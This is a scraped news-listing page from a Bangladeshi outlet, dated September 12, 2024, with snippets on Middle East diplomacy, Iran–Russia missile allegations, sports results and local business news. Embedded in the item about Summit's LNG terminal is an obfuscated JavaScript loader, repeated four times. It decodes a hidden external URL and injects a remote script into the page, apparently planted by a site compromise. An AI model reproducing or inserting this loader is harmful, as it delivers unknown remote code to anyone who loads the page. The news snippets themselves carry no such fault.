AFP : The European Union’s top diplomat Josep Borrell warned on Tuesday that increased violence in the occupied West Bank since the Israel-Hamas war erupted meant it risked becoming “a new Gaza”. Violence in the West Bank, which Israel has occupied since 1967 and is separated from the Gaza Strip by Israeli territory, has flared alongside the war that began after Palestinian group Hamas attacked Israel on October 7. Borrell said Israel was opening “a new front… with a clear...
Day: September 12, 2024
Al Jazeera : Iran has condemned allegations by Western countries that it has supplied short-range missiles to Russia for use against Ukraine and pledged to respond to new sanctions imposed by a trio of European states. Tehran’s Minister of Foreign Affairs Abbas Araghchi stated on Wednesday that Iran has not delivered ballistic missiles to Russia and that the United States and its allies are acting on “faulty intelligence”. The previous day, the Foreign Ministry spokesman Nasser Kanaani called the sanctions...
AFP, Montevideo : Colombia avenged their Copa America final defeat with a 2-1 victory over Argentina while Brazil crashed to...
AFP, Sydney : Australian hockey player Tom Craig has been banned for 12 months following his arrest during the Paris...
Sports Reporter : Director of the Bangladesh Cricket Board (BCB) Khaled Mahmud Sujon submitted his resignation letter to the BCB...
AFP, London : Harry Kane celebrated his 100th England cap in memorable style as the striker’s superb double sealed a...
Germany shrugged off the absence of world number two Alexander Zverev to sweep past Slovakia in their Davis Cup group stage finals opener on Tuesday as Canada beat Argentina. Despite the absence of their top four players, including Zverev, the Germans dominated their Group C tie 3-0 in Zhuhai, China. The group also includes the United States and Chile. Canada, the 2022 champions, eased past Argentina 2-1 in Group D action in Manchester, England. Germany’s Maximilian Marterer won the first...
Business Report : Talented entrepreneur DH Shamim is Managing Director of Basic Business Consortium (BBCon). His business group is providing...
Business Report : A delegation from the Foreign Investors’ Chamber of Commerce & Industry (FICCI) led by its president Zaved Akhtar, paid a courtesy visit to the newly appointed chairman of the National Board of Revenue (NBR) Md. Abdur Rahman Khan and Secretary of the Internal Resources Division (IRD) under the Finance Ministry on Wednesday at his office in city’s Agargaon. FICCI president Zaved Akhtar emphasized the need for the full digitalization of NBR operations, particularly focusing on enhancing the...
Business Report : Padakhep was honored with two awards at the SDG Brand Champion Awards 2024 for Responsible Consumption and...
Business Report : Summit’s floating LNG terminal, damaged by Cyclone Remal at Moheshkhali in Cox’s Bazar, is set to resume operations on Wednesday, according to sources at Petrobangla. The Floating Storage and Regasification Unit (FSRU) was temporarily out of service due to the impact of the cyclone. Kamruzzaman, Petrobangla’s operations officer, confirmed the development to The Business Standard. “The terminal will start gas supply today, and it will deliver 600 mmcfd of gas,” he said. (function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();...
Business Report : The government appointed an administrator to the Federation of Bangladesh Chambers of Commerce and Industry (FBCCI), following...